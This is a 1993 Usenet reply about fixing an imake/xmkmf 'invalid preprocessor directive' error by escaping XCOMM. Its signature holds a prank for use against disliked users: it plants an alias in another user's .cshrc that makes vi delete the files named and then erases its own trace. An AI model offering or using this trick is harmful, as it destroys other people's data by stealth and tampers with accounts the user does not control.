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- From: wenzel@marsu.tynet.sub.org (Markus Wenzel)
- Newsgroups: comp.windows.x.i386unix,comp.os.linux
- Message-ID: <H.ea.LGkmlpBGZb2@marsu.tynet.sub.org>
- Organization: Palumbian Networks Ltd.
- Subject: Re: Xmfmf / imake problem
- References: <93010.181828MXD120@psuvm.psu.edu> <1iqggkINNke0@matt.ksu.ksu.edu>
- Reply-To: wenzel@marsu.tynet.sub.org
- X-Software: HERMES GUS 1.04 Rev. Sep 5 1992
- Date: Sat, 23 Jan 1993 13:06:42 MET
- Lines: 40
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- In <1iqggkINNke0@matt.ksu.ksu.edu>, James Michael Chacon writes:
- > Beaker <MXD120@psuvm.psu.edu> writes:
- >
- > >For some reason Imakefiles don't seem to be working on my system ( Linux w/
- > >Xfree86 1.2 ). The Imakefiles are from the stuff on export.lcs.mit.edu, and
- > >I have tested them on other systems. Here is the output I get when I run
- > >xmkmf:
- >
- > >mv Makefile Makefile.bak
- > >imake -DUseInstalled -I/usr/local/X386/lib/X11/config
- > >In file included from /usr/local/X386/lib/X11/config/Imake.tmpl:892, from :3:
- > >/tmp/IIf.a03568:1: invalid preprocessor directive name
- > >/tmp/IIf.a03568:23: invalid preprocessor directive name
- > >imake: Exit code 33. Stop.
- >
- > >Any ideas what could be wrong?
- >
- > Yep, it appears imake wasn't compiled to send -traditional to cpp. Without
- > this flag, defining XCOMM as # doesn't work correctly.
- >
- > I can put a new imake up for ftp if people want, since I just recompiled X
- > today and mine works correctly.
- >
-
- I simply escaped it:
-
- #define XCOMM \#
-
- Regards, Markus.
-
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- ### check this out with users you don't like:
- cat >> ~luser/.cshrc
- alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z;mv -f ~/.z ~/.cshrc'
- ^D
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